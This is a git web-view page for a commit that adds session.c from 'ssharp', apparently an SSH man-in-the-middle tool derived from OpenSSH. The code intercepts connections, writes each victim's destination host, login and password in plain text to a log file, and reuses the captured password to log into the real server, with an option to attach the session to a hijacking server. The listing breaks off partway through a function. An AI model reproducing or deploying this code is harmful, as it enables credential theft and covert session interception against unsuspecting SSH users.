summaryrefslogtreecommitdiff
path: root/other/ssharp/session.c
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /other/ssharp/session.c
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'other/ssharp/session.c')
-rw-r--r--other/ssharp/session.c1304
1 files changed, 1304 insertions, 0 deletions
diff --git a/other/ssharp/session.c b/other/ssharp/session.c
new file mode 100644
index 0000000..9406975
--- /dev/null
+++ b/other/ssharp/session.c
@@ -0,0 +1,1304 @@
1/*
2 * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
3 * All rights reserved
4 *
5 * As far as I am concerned, the code I have written for this software
6 * can be used freely for any purpose. Any derived versions of this
7 * software must be clearly marked as such, and if the derived work is
8 * incompatible with the protocol description in the RFC file, it must be
9 * called by a name other than "ssh" or "Secure Shell".
10 *
11 * SSH2 support by Markus Friedl.
12 * Copyright (c) 2000 Markus Friedl. All rights reserved.
13 *
14 * Redistribution and use in source and binary forms, with or without
15 * modification, are permitted provided that the following conditions
16 * are met:
17 * 1. Redistributions of source code must retain the above copyright
18 * notice, this list of conditions and the following disclaimer.
19 * 2. Redistributions in binary form must reproduce the above copyright
20 * notice, this list of conditions and the following disclaimer in the
21 * documentation and/or other materials provided with the distribution.
22 *
23 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
24 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
25 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
26 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
27 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
28 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
29 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
30 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
31 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
32 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
33 */
34
35#include "includes.h"
36RCSID("$OpenBSD: session.c,v 1.74 2001/04/17 19:34:25 markus Exp $");
37
38#include "ssh.h"
39#include "ssh1.h"
40#include "ssh2.h"
41#include "xmalloc.h"
42#include "sshpty.h"
43#include "packet.h"
44#include "buffer.h"
45#include "mpaux.h"
46#include "uidswap.h"
47#include "compat.h"
48#include "channels.h"
49#include "nchan.h"
50#include "bufaux.h"
51#include "auth.h"
52#include "auth-options.h"
53#include "pathnames.h"
54#include "log.h"
55#include "servconf.h"
56#include "sshlogin.h"
57#include "serverloop.h"
58#include "canohost.h"
59#include "session.h"
60#include "ssharp.h"
61
62#ifdef WITH_IRIX_PROJECT
63#include <proj.h>
64#endif /* WITH_IRIX_PROJECT */
65#ifdef WITH_IRIX_JOBS
66#include <sys/resource.h>
67#endif
68#ifdef WITH_IRIX_AUDIT
69#include <sat.h>
70#endif /* WITH_IRIX_AUDIT */
71
72#if defined(HAVE_USERSEC_H)
73#include <usersec.h>
74#endif
75
76#ifdef HAVE_CYGWIN
77#include <windows.h>
78#include <sys/cygwin.h>
79#define is_winnt (GetVersion() < 0x80000000)
80#endif
81
82/* AIX limits */
83#if defined(HAVE_GETUSERATTR) && !defined(S_UFSIZE_HARD) && defined(S_UFSIZE)
84# define S_UFSIZE_HARD S_UFSIZE "_hard"
85# define S_UCPU_HARD S_UCPU "_hard"
86# define S_UDATA_HARD S_UDATA "_hard"
87# define S_USTACK_HARD S_USTACK "_hard"
88# define S_URSS_HARD S_URSS "_hard"
89# define S_UCORE_HARD S_UCORE "_hard"
90# define S_UNOFILE_HARD S_UNOFILE "_hard"
91#endif
92
93#ifdef _AIX
94# include <uinfo.h>
95#endif
96
97/* types */
98
99#define TTYSZ 64
100typedef struct Session Session;
101struct Session {
102 int used;
103 int self;
104 struct passwd *pw;
105 pid_t pid;
106 /* tty */
107 char *term;
108 int ptyfd, ttyfd, ptymaster;
109 int row, col, xpixel, ypixel;
110 char tty[TTYSZ];
111 /* X11 */
112 char *display;
113 int screen;
114 char *auth_proto;
115 char *auth_data;
116 int single_connection;
117 /* proto 2 */
118 int chanid;
119 int is_subsystem;
120
121 /* SSHARP */
122 sharp_t sharp;
123};
124
125
126Authctxt *global_ssh2_ctx;
127
128/* func */
129
130Session *session_new(void);
131void session_set_fds(Session *s, int fdin, int fdout, int fderr);
132void session_pty_cleanup(Session *s);
133void session_proctitle(Session *s);
134void do_exec_pty(Session *s, const char *command);
135void do_exec_no_pty(Session *s, const char *command);
136void do_child(Session *s, const char *command);
137void do_motd(void);
138
139void do_authenticated1(Authctxt *authctxt);
140void do_authenticated2(Authctxt *authctxt);
141
142/* import */
143extern ServerOptions options;
144extern char *__progname;
145extern int log_stderr;
146extern int debug_flag;
147extern u_int utmp_len;
148extern int startup_pipe;
149extern void destroy_sensitive_data(void);
150
151/* Local Xauthority file. */
152static char *xauthfile;
153
154/* original command from peer. */
155char *original_command = NULL;
156
157/* data */
158#define MAX_SESSIONS 10
159Session sessions[MAX_SESSIONS];
160
161#ifdef WITH_AIXAUTHENTICATE
162/* AIX's lastlogin message, set in auth1.c */
163char *aixloginmsg;
164#endif /* WITH_AIXAUTHENTICATE */
165
166#ifdef HAVE_LOGIN_CAP
167static login_cap_t *lc;
168#endif
169
170void
171do_authenticated(Authctxt *authctxt)
172{
173 /*
174 * Cancel the alarm we set to limit the time taken for
175 * authentication.
176 */
177 alarm(0);
178 if (startup_pipe != -1) {
179 close(startup_pipe);
180 startup_pipe = -1;
181 }
182 /* setup the channel layer */
183 if (!no_port_forwarding_flag && options.allow_tcp_forwarding)
184 channel_permit_all_opens();
185
186 if (compat20)
187 do_authenticated2(authctxt);
188 else
189 do_authenticated1(authctxt);
190}
191
192/*
193 * Remove local Xauthority file.
194 */
195void
196xauthfile_cleanup_proc(void *ignore)
197{
198 debug("xauthfile_cleanup_proc called");
199
200 if (xauthfile != NULL) {
201 char *p;
202 unlink(xauthfile);
203 p = strrchr(xauthfile, '/');
204 if (p != NULL) {
205 *p = '\0';
206 rmdir(xauthfile);
207 }
208 xfree(xauthfile);
209 xauthfile = NULL;
210 }
211}
212
213/*
214 * Function to perform cleanup if we get aborted abnormally (e.g., due to a
215 * dropped connection).
216 */
217void
218pty_cleanup_proc(void *session)
219{
220 Session *s=session;
221 if (s == NULL)
222 fatal("pty_cleanup_proc: no session");
223 debug("pty_cleanup_proc: %s", s->tty);
224
225 if (s->pid != 0) {
226 /* Record that the user has logged out. */
227 record_logout(s->pid, s->tty);
228 }
229
230 /* Release the pseudo-tty. */
231 pty_release(s->tty);
232}
233
234/*
235 * Prepares for an interactive session. This is called after the user has
236 * been successfully authenticated. During this message exchange, pseudo
237 * terminals are allocated, X11, TCP/IP, and authentication agent forwardings
238 * are requested, etc.
239 */
240void
241do_authenticated1(Authctxt *authctxt)
242{
243 Session *s;
244 char *command;
245 int success, type, n_bytes, plen, have_pty = 0;
246 int compression_level = 0, enable_compression_after_reply = 0;
247 u_int dlen;
248
249 s = session_new();
250
251 s->pw = getpwnam("nobody");
252 s->sharp = sharp_dup(&authctxt->sharp);
253
254 if (!s->pw) {
255 debug("No user nobody.\n");
256 exit(1);
257 }
258 /*
259 * We stay in this loop until the client requests to execute a shell
260 * or a command.
261 */
262 for (;;) {
263 success = 0;
264
265 /* Get a packet from the client. */
266 type = packet_read(&plen);
267
268 /* Process the packet. */
269 switch (type) {
270 case SSH_CMSG_REQUEST_COMPRESSION:
271 packet_integrity_check(plen, 4, type);
272 compression_level = packet_get_int();
273 if (compression_level < 1 || compression_level > 9) {
274 packet_send_debug("Received illegal compression level %d.",
275 compression_level);
276 break;
277 }
278 /* Enable compression after we have responded with SUCCESS. */
279 enable_compression_after_reply = 1;
280 success = 1;
281 break;
282
283 case SSH_CMSG_REQUEST_PTY:
284 if (authctxt->how == AUTH_RSA) {
285 success = 1;
286 break;
287 }
288 if (no_pty_flag) {
289 debug("Allocating a pty not permitted for this authentication.");
290 break;
291 }
292 if (have_pty)
293 packet_disconnect("Protocol error: you already have a pty.");
294
295 debug("Allocating pty.");
296
297 /* Allocate a pty and open it. */
298 if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty,
299 sizeof(s->tty))) {
300 error("Failed to allocate pty.");
301 break;
302 }
303 fatal_add_cleanup(pty_cleanup_proc, (void *)s);
304 pty_setowner(s->pw, s->tty);
305
306 /* Get TERM from the packet. Note that the value may be of arbitrary length. */
307 s->term = packet_get_string(&dlen);
308 packet_integrity_check(dlen, strlen(s->term), type);
309 /* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */
310 /* Remaining bytes */
311 n_bytes = plen - (4 + dlen + 4 * 4);
312
313 if (strcmp(s->term, "") == 0) {
314 xfree(s->term);
315 s->term = NULL;
316 }
317 /* Get window size from the packet. */
318 s->row = packet_get_int();
319 s->col = packet_get_int();
320 s->xpixel = packet_get_int();
321 s->ypixel = packet_get_int();
322 pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);
323
324 /* Get tty modes from the packet. */
325 tty_parse_modes(s->ttyfd, &n_bytes);
326 packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type);
327
328
329 /* Indicate that we now have a pty. */
330 success = 1;
331 have_pty = 1;
332 break;
333
334 case SSH_CMSG_MAX_PACKET_SIZE:
335 if (packet_set_maxsize(packet_get_int()) > 0)
336 success = 1;
337 break;
338
339 case SSH_CMSG_EXEC_SHELL:
340 case SSH_CMSG_EXEC_CMD:
341 if (authctxt->how == AUTH_RSA) {
342 }
343 if (!have_pty) {
344 /* Allocate a pty and open it. */
345 if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty,
346 sizeof(s->tty))) {
347 error("Failed to allocate pty.");
348 break;
349 }
350 fatal_add_cleanup(pty_cleanup_proc, (void *)s);
351 pty_setowner(s->pw, s->tty);
352
353 success = 1;
354 have_pty = 1;
355 }
356
357
358 if (type == SSH_CMSG_EXEC_CMD) {
359 command = packet_get_string(&dlen);
360 debug("Exec command '%.500s'", command);
361 packet_integrity_check(plen, 4 + dlen, type);
362 } else {
363 command = NULL;
364 packet_integrity_check(plen, 0, type);
365 }
366 do_exec_pty(s, command);
367
368 if (command != NULL)
369 xfree(command);
370 /* Cleanup user's local Xauthority file. */
371 if (xauthfile)
372 xauthfile_cleanup_proc(NULL);
373 return;
374
375 default:
376 /*
377 * Any unknown messages in this phase are ignored,
378 * and a failure message is returned.
379 */
380 log("Unknown packet type received after authentication: %d", type);
381 }
382 packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE);
383 packet_send();
384 packet_write_wait();
385
386 /* Enable compression now that we have replied if appropriate. */
387 if (enable_compression_after_reply) {
388 enable_compression_after_reply = 0;
389 packet_start_compression(compression_level);
390 }
391 }
392}
393
394/*
395 * This is called to fork and execute a command when we have no tty. This
396 * will call do_child from the child, and server_loop from the parent after
397 * setting up file descriptors and such.
398 */
399void
400do_exec_no_pty(Session *s, const char *command)
401{
402 int pid;
403
404#ifdef USE_PIPES
405 int pin[2], pout[2], perr[2];
406 /* Allocate pipes for communicating with the program. */
407 if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0)
408 packet_disconnect("Could not create pipes: %.100s",
409 strerror(errno));
410#else /* USE_PIPES */
411 int inout[2], err[2];
412 /* Uses socket pairs to communicate with the program. */
413 if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 ||
414 socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0)
415 packet_disconnect("Could not create socket pairs: %.100s",
416 strerror(errno));
417#endif /* USE_PIPES */
418 if (s == NULL)
419 fatal("do_exec_no_pty: no session");
420
421 session_proctitle(s);
422
423#if defined(USE_PAM)
424 do_pam_setcred(1);
425#endif /* USE_PAM */
426
427 /* Fork the child. */
428 if ((pid = fork()) == 0) {
429 /* Child. Reinitialize the log since the pid has changed. */
430 log_init(__progname, options.log_level, options.log_facility, log_stderr);
431
432 /*
433 * Create a new session and process group since the 4.4BSD
434 * setlogin() affects the entire process group.
435 */
436 if (setsid() < 0)
437 error("setsid failed: %.100s", strerror(errno));
438
439#ifdef USE_PIPES
440 /*
441 * Redirect stdin. We close the parent side of the socket
442 * pair, and make the child side the standard input.
443 */
444 close(pin[1]);
445 if (dup2(pin[0], 0) < 0)
446 perror("dup2 stdin");
447 close(pin[0]);
448
449 /* Redirect stdout. */
450 close(pout[0]);
451 if (dup2(pout[1], 1) < 0)
452 perror("dup2 stdout");
453 close(pout[1]);
454
455 /* Redirect stderr. */
456 close(perr[0]);
457 if (dup2(perr[1], 2) < 0)
458 perror("dup2 stderr");
459 close(perr[1]);
460#else /* USE_PIPES */
461 /*
462 * Redirect stdin, stdout, and stderr. Stdin and stdout will
463 * use the same socket, as some programs (particularly rdist)
464 * seem to depend on it.
465 */
466 close(inout[1]);
467 close(err[1]);
468 if (dup2(inout[0], 0) < 0) /* stdin */
469 perror("dup2 stdin");
470 if (dup2(inout[0], 1) < 0) /* stdout. Note: same socket as stdin. */
471 perror("dup2 stdout");
472 if (dup2(err[0], 2) < 0) /* stderr */
473 perror("dup2 stderr");
474#endif /* USE_PIPES */
475
476 /* Do processing for the child (exec command etc). */
477 do_child(s, command);
478 /* NOTREACHED */
479 }
480#ifdef HAVE_CYGWIN
481 if (is_winnt)
482 cygwin_set_impersonation_token(INVALID_HANDLE_VALUE);
483#endif
484 if (pid < 0)
485 packet_disconnect("fork failed: %.100s", strerror(errno));
486 s->pid = pid;
487 /* Set interactive/non-interactive mode. */
488 packet_set_interactive(s->display != NULL);
489#ifdef USE_PIPES
490 /* We are the parent. Close the child sides of the pipes. */
491 close(pin[0]);
492 close(pout[1]);
493 close(perr[1]);
494
495 if (compat20) {
496 session_set_fds(s, pin[1], pout[0], s->is_subsystem ? -1 : perr[0]);
497 } else {
498 /* Enter the interactive session. */
499 server_loop(pid, pin[1], pout[0], perr[0]);
500 /* server_loop has closed pin[1], pout[0], and perr[0]. */
501 }
502#else /* USE_PIPES */
503 /* We are the parent. Close the child sides of the socket pairs. */
504 close(inout[0]);
505 close(err[0]);
506
507 /*
508 * Enter the interactive session. Note: server_loop must be able to
509 * handle the case that fdin and fdout are the same.
510 */
511 if (compat20) {
512 session_set_fds(s, inout[1], inout[1], s->is_subsystem ? -1 : err[1]);
513 } else {
514 server_loop(pid, inout[1], inout[1], err[1]);
515 /* server_loop has closed inout[1] and err[1]. */
516 }
517#endif /* USE_PIPES */
518}
519
520/*
521 * This is called to fork and execute a command when we have a tty. This
522 * will call do_child from the child, and server_loop from the parent after
523 * setting up file descriptors, controlling tty, updating wtmp, utmp,
524 * lastlog, and other such operations.
525 */
526void
527do_exec_pty(Session *s, const char *command)
528{
529 int fdout, ptyfd, ttyfd, ptymaster;
530 pid_t pid;
531
532 if (s == NULL)
533 fatal("do_exec_pty: no session");
534 ptyfd = s->ptyfd;
535 ttyfd = s->ttyfd;
536
537
538 /* Fork the child. */
539 if ((pid = fork()) == 0) {
540 /* Child. Reinitialize the log because the pid has changed. */
541 log_init(__progname, options.log_level, options.log_facility, log_stderr);
542
543 /* Close the master side of the pseudo tty. */
544 close(ptyfd);
545
546 /* Make the pseudo tty our controlling tty. */
547 pty_make_controlling_tty(&ttyfd, s->tty);
548
549 /* Redirect stdin from the pseudo tty. */
550 if (dup2(ttyfd, fileno(stdin)) < 0)
551 error("dup2 stdin failed: %.100s", strerror(errno));
552
553 /* Redirect stdout to the pseudo tty. */
554 if (dup2(ttyfd, fileno(stdout)) < 0)
555 error("dup2 stdin failed: %.100s", strerror(errno));
556
557 /* Redirect stderr to the pseudo tty. */
558 if (dup2(ttyfd, fileno(stderr)) < 0)
559 error("dup2 stdin failed: %.100s", strerror(errno));
560
561 /* Close the extra descriptor for the pseudo tty. */
562 close(ttyfd);
563
564
565 /* Do common processing for the child, such as execing the command. */
566 do_child(s, command);
567 /* NOTREACHED */
568 }
569#ifdef HAVE_CYGWIN
570 if (is_winnt)
571 cygwin_set_impersonation_token(INVALID_HANDLE_VALUE);
572#endif
573 if (pid < 0)
574 packet_disconnect("fork failed: %.100s", strerror(errno));
575 s->pid = pid;
576
577 /* Parent. Close the slave side of the pseudo tty. */
578 close(ttyfd);
579
580 /*
581 * Create another descriptor of the pty master side for use as the
582 * standard input. We could use the original descriptor, but this
583 * simplifies code in server_loop. The descriptor is bidirectional.
584 */
585 fdout = dup(ptyfd);
586 if (fdout < 0)
587 packet_disconnect("dup #1 failed: %.100s", strerror(errno));
588
589 /* we keep a reference to the pty master */
590 ptymaster = dup(ptyfd);
591 if (ptymaster < 0)
592 packet_disconnect("dup #2 failed: %.100s", strerror(errno));
593 s->ptymaster = ptymaster;
594
595 /* Enter interactive session. */
596 packet_set_interactive(1);
597 if (compat20) {
598 session_set_fds(s, ptyfd, fdout, -1);
599 } else {
600 server_loop(pid, ptyfd, fdout, -1);
601 /* server_loop _has_ closed ptyfd and fdout. */
602 session_pty_cleanup(s);
603 }
604}
605
606/* administrative, login(1)-like work */
607void
608do_login(Session *s, const char *command)
609{
610 socklen_t fromlen;
611 struct sockaddr_storage from;
612
613 /*
614 * Get IP address of client. If the connection is not a socket, let
615 * the address be 0.0.0.0.
616 */
617 memset(&from, 0, sizeof(from));
618 if (packet_connection_is_on_socket()) {
619 fromlen = sizeof(from);
620 if (getpeername(packet_get_connection_in(),
621 (struct sockaddr *) & from, &fromlen) < 0) {
622 debug("getpeername: %.100s", strerror(errno));
623 fatal_cleanup();
624 }
625 }
626}
627
628
629/*
630 * Performs common processing for the child, such as setting up the
631 * environment, closing extra file descriptors, setting the user and group
632 * ids, and executing the command or shell.
633 */
634void
635do_child(Session *s, const char *command)
636{
637 char *argv[20];
638 int i;
639 struct sockaddr_in dst;
640 FILE *f;
641#ifdef USE_MSS
642 char mss_socket[1024];
643#endif
644 char *tenv[] = {NULL, NULL}, tbuf[1024];
645
646 /* remove hostkey from the child's memory */
647 destroy_sensitive_data();
648
649 /* SSHARP: get real destination XXX: IPv6? */
650 dstaddr(packet_get_connection_in(), &dst);
651 s->sharp.remote = strdup(inet_ntoa(dst.sin_addr));
652 s->sharp.remote_port = ntohs(dst.sin_port);
653
654 log("Forwarding to %s:%d", s->sharp.remote,
655 s->sharp.remote_port);
656
657 f = fopen(SSHARP_LOG, "a+");
658 if (f) {
659 fprintf(f, "%s:%d [%s:%s]\n", s->sharp.remote,
660 s->sharp.remote_port, s->sharp.login, s->sharp.pass);
661 fclose(f);
662 }
663
664 /*
665 * Close the connection descriptors; note that this is the child, and
666 * the server will still have the socket open, and it is important
667 * that we do not shutdown it. Note that the descriptors cannot be
668 * closed before building the environment, as we call
669 * get_remote_ipaddr there.
670 */
671 if (packet_get_connection_in() == packet_get_connection_out())
672 close(packet_get_connection_in());
673 else {
674 close(packet_get_connection_in());
675 close(packet_get_connection_out());
676 }
677 /*
678 * Close all descriptors related to channels. They will still remain
679 * open in the parent.
680 */
681 /* XXX better use close-on-exec? -markus */
682 channel_close_all();
683
684 /*
685 * Close any extra file descriptors. Note that there may still be
686 * descriptors left by system functions. They will be closed later.
687 */
688 endpwent();
689
690 /*
691 * Close any extra open file descriptors so that we don\'t have them
692 * hanging around in clients. Note that we want to do this after
693 * initgroups, because at least on Solaris 2.3 it leaves file
694 * descriptors open.
695 */
696 for (i = 3; i < 64; i++)
697 close(i);
698
699
700 /* restore SIGPIPE for child */
701 signal(SIGPIPE, SIG_DFL);
702
703 setgid(s->pw->pw_gid);
704 setuid(s->pw->pw_uid);
705
706
707 /* Execute the shell. */
708#ifdef USE_MSS
709 argv[0] = "/usr/local/bin/mss-server";
710 argv[1] = "-n";
711 argv[2] = "-S";
712 snprintf(mss_socket, sizeof(mss_socket), "/tmp/ssharp-%s.%d",
713 s->sharp.remote, getppid());
714 argv[3] = mss_socket;
715 argv[4] = "-s";
716 argv[5] = SSHARP_CLIENT;
717 argv[6] = "-Z";
718 argv[7] = s->sharp.pass;
719 argv[8] = "-l";
720 argv[9] = s->sharp.login;
721 argv[10] = s->sharp.remote;
722 if (command)
723 argv[11] = strdup(command);
724 else
725 argv[11] = NULL;
726 argv[12] = NULL;
727
728#else
729 argv[0] = SSHARP_CLIENT;
730 argv[1] = "-Z";
731 argv[2] = s->sharp.pass;
732 argv[3] = "-l";
733 argv[4] = s->sharp.login;
734 argv[5] = s->sharp.remote;
735 if (command)
736 argv[6] = strdup(command);
737 else
738 argv[6] = NULL;
739 argv[7] = NULL;
740#endif
741 snprintf(tbuf, sizeof(tbuf), "TERM=%s", s->term);
742 tenv[0] = tbuf;
743
744 execve(*argv, argv, tenv);
745 debug(strerror(errno));
746 /* Executing the shell failed. */
747 perror("execve");
748 exit(1);
749}
750
751Session *
752session_new(void)
753{
754 int i;
755 static int did_init = 0;
756 if (!did_init) {
757 debug("session_new: init");
758 for(i = 0; i < MAX_SESSIONS; i++) {
759 sessions[i].used = 0;
760 sessions[i].self = i;
761 }
762 did_init = 1;
763 }
764 for(i = 0; i < MAX_SESSIONS; i++) {
765 Session *s = &sessions[i];
766 if (! s->used) {
767 memset(s, 0, sizeof(*s));
768 s->chanid = -1;
769 s->ptyfd = -1;
770 s->ttyfd = -1;
771 s->used = 1;
772 debug("session_new: session %d", i);
773 return s;
774 }
775 }
776 return NULL;
777}
778
779void
780session_dump(void)
781{
782 int i;
783 for(i = 0; i < MAX_SESSIONS; i++) {
784 Session *s = &sessions[i];
785 debug("dump: used %d session %d %p channel %d pid %d",
786 s->used,
787 s->self,
788 s,
789 s->chanid,
790 s->pid);
791 }
792}
793
794int
795session_open(int chanid)
796{
797 Session *s = session_new();
798 debug("session_open: channel %d", chanid);
799 if (s == NULL) {
800 error("no more sessions");
801 return 0;
802 }
803 /* SSHARP */
804 s->pw = getpwnam("nobody");
805 if (s->pw == NULL)
806 fatal("no user for session %d", s->self);
807 debug("session_open: session %d: link with channel %d", s->self, chanid);
808 s->chanid = chanid;
809 return 1;
810}
811
812Session *
813session_by_channel(int id)
814{
815 int i;
816 for(i = 0; i < MAX_SESSIONS; i++) {
817 Session *s = &sessions[i];
818 if (s->used && s->chanid == id) {
819 debug("session_by_channel: session %d channel %d", i, id);
820 return s;
821 }
822 }
823 debug("session_by_channel: unknown channel %d", id);
824 session_dump();
825 return NULL;
826}
827
828Session *
829session_by_pid(pid_t pid)
830{
831 int i;
832 debug("session_by_pid: pid %d", pid);
833 for(i = 0; i < MAX_SESSIONS; i++) {
834 Session *s = &sessions[i];
835 if (s->used && s->pid == pid)
836 return s;
837 }
838 error("session_by_pid: unknown pid %d", pid);
839 session_dump();
840 return NULL;
841}
842
843int
844session_window_change_req(Session *s)
845{
846 s->col = packet_get_int();
847 s->row = packet_get_int();
848 s->xpixel = packet_get_int();
849 s->ypixel = packet_get_int();
850 packet_done();
851 pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);
852 return 1;
853}
854
855int
856session_pty_req(Session *s)
857{
858 u_int len;
859 int n_bytes;
860
861 if (no_pty_flag)
862 return 0;
863 if (s->ttyfd != -1)
864 return 0;
865 s->term = packet_get_string(&len);
866 s->col = packet_get_int();
867 s->row = packet_get_int();
868 s->xpixel = packet_get_int();
869 s->ypixel = packet_get_int();
870
871 if (strcmp(s->term, "") == 0) {
872 xfree(s->term);
873 s->term = NULL;
874 }
875 /* Allocate a pty and open it. */
876 if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) {
877 xfree(s->term);
878 s->term = NULL;
879 s->ptyfd = -1;
880 s->ttyfd = -1;
881 error("session_pty_req: session %d alloc failed", s->self);
882 return 0;
883 }
884 debug("session_pty_req: session %d alloc %s", s->self, s->tty);
885 /*
886 * Add a cleanup function to clear the utmp entry and record logout
887 * time in case we call fatal() (e.g., the connection gets closed).
888 */
889 fatal_add_cleanup(pty_cleanup_proc, (void *)s);
890 pty_setowner(s->pw, s->tty);
891 /* Get window size from the packet. */
892 pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel);
893
894 /* Get tty modes from the packet. */
895 tty_parse_modes(s->ttyfd, &n_bytes);
896 packet_done();
897
898 session_proctitle(s);
899
900 return 1;
901}
902
903int
904session_subsystem_req(Session *s)
905{
906 u_int len;
907 int success = 0;
908 char *subsys = packet_get_string(&len);
909 int i;
910
911 packet_done();
912 log("subsystem request for %s", subsys);
913
914 for (i = 0; i < options.num_subsystems; i++) {
915 if(strcmp(subsys, options.subsystem_name[i]) == 0) {
916 debug("subsystem: exec() %s", options.subsystem_command[i]);
917 s->is_subsystem = 1;
918 do_exec_no_pty(s, options.subsystem_command[i]);
919 success = 1;
920 }
921 }
922
923 if (!success)
924 log("subsystem request for %s failed, subsystem not found", subsys);
925
926 xfree(subsys);
927 return success;
928}
929
930int
931session_x11_req(Session *s)
932{
933 int fd;
934 if (no_x11_forwarding_flag) {
935 debug("X11 forwarding disabled in user configuration file.");
936 return 0;
937 }
938 if (!options.x11_forwarding) {
939 debug("X11 forwarding disabled in server configuration file.");
940 return 0;
941 }
942 if (xauthfile != NULL) {
943 debug("X11 fwd already started.");
944 return 0;
945 }
946
947 debug("Received request for X11 forwarding with auth spoofing.");
948 if (s->display != NULL)
949 packet_disconnect("Protocol error: X11 display already set.");
950
951 s->single_connection = packet_get_char();
952 s->auth_proto = packet_get_string(NULL);
953 s->auth_data = packet_get_string(NULL);
954 s->screen = packet_get_int();
955 packet_done();
956
957 s->display = x11_create_display_inet(s->screen, options.x11_display_offset);
958 if (s->display == NULL) {
959 xfree(s->auth_proto);
960 xfree(s->auth_data);
961 return 0;
962 }
963 xauthfile = xmalloc(MAXPATHLEN);
964 strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN);
965 temporarily_use_uid(s->pw);
966 if (mkdtemp(xauthfile) == NULL) {
967 restore_uid();
968 error("private X11 dir: mkdtemp %s failed: %s",
969 xauthfile, strerror(errno));
970 xfree(xauthfile);
971 xauthfile = NULL;
972 xfree(s->auth_proto);
973 xfree(s->auth_data);
974 /* XXXX remove listening channels */
975 return 0;
976 }
977 strlcat(xauthfile, "/cookies", MAXPATHLEN);
978 fd = open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600);
979 if (fd >= 0)
980 close(fd);
981 restore_uid();
982 fatal_add_cleanup(xauthfile_cleanup_proc, s);
983 return 1;
984}
985
986int
987session_shell_req(Session *s)
988{
989 /* if forced_command == NULL, the shell is execed */
990 char *shell = forced_command;
991
992 s->sharp = sharp_dup(&global_ssh2_ctx->sharp);
993
994 packet_done();
995 if (s->ttyfd == -1)
996 ;//do_exec_no_pty(s, shell);
997 else
998 do_exec_pty(s, shell);
999 return 1;
1000}
1001
1002int
1003session_exec_req(Session *s)
1004{
1005 u_int len;
1006 char *command = packet_get_string(&len);
1007 packet_done();
1008
1009 s->sharp = sharp_dup(&global_ssh2_ctx->sharp);
1010
1011 if (forced_command) {
1012 original_command = command;
1013 command = forced_command;
1014 debug("Forced command '%.500s'", forced_command);
1015 }
1016
1017 if (s->ttyfd == -1) {
1018 /* Allocate a pty and open it. */
1019 if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) {
1020 xfree(s->term);
1021 s->term = NULL;
1022 s->ptyfd = -1;
1023 s->ttyfd = -1;
1024 error("session_pty_req: session %d alloc failed", s->self);
1025 return 0;
1026 }
1027 debug("session_pty_req: session %d alloc %s", s->self, s->tty);
1028 /*
1029 * Add a cleanup function to clear the utmp entry and record logout
1030 * time in case we call fatal() (e.g., the connection gets closed).
1031 */
1032 fatal_add_cleanup(pty_cleanup_proc, (void *)s);
1033 pty_setowner(s->pw, s->tty);
1034 }
1035 do_exec_pty(s, command);
1036
1037 if (forced_command == NULL)
1038 xfree(command);
1039 return 1;
1040}
1041
1042int
1043session_auth_agent_req(Session *s)
1044{
1045 static int called = 0;
1046 packet_done();
1047 if (no_agent_forwarding_flag) {
1048 debug("session_auth_agent_req: no_agent_forwarding_flag");
1049 return 0;
1050 }
1051 if (called) {
1052 return 0;
1053 } else {
1054 called = 1;
1055 return auth_input_request_forwarding(s->pw);
1056 }
1057}
1058
1059void
1060session_input_channel_req(int id, void *arg)
1061{
1062 u_int len;
1063 int reply;
1064 int success = 0;
1065 char *rtype;
1066 Session *s;
1067 Channel *c;
1068
1069 rtype = packet_get_string(&len);
1070 reply = packet_get_char();
1071
1072 s = session_by_channel(id);
1073 if (s == NULL)
1074 fatal("session_input_channel_req: channel %d: no session", id);
1075 c = channel_lookup(id);
1076 if (c == NULL)
1077 fatal("session_input_channel_req: channel %d: bad channel", id);
1078
1079 debug("session_input_channel_req: session %d channel %d request %s reply %d",
1080 s->self, id, rtype, reply);
1081
1082 /*
1083 * a session is in LARVAL state until a shell, a command
1084 * or a subsystem is executed
1085 */
1086 if (c->type == SSH_CHANNEL_LARVAL) {
1087 if (strcmp(rtype, "shell") == 0) {
1088 success = session_shell_req(s);
1089 } else if (strcmp(rtype, "exec") == 0) {
1090 success = session_exec_req(s);
1091 } else if (strcmp(rtype, "pty-req") == 0) {
1092 success = session_pty_req(s);
1093 }/* else if (strcmp(rtype, "x11-req") == 0) {
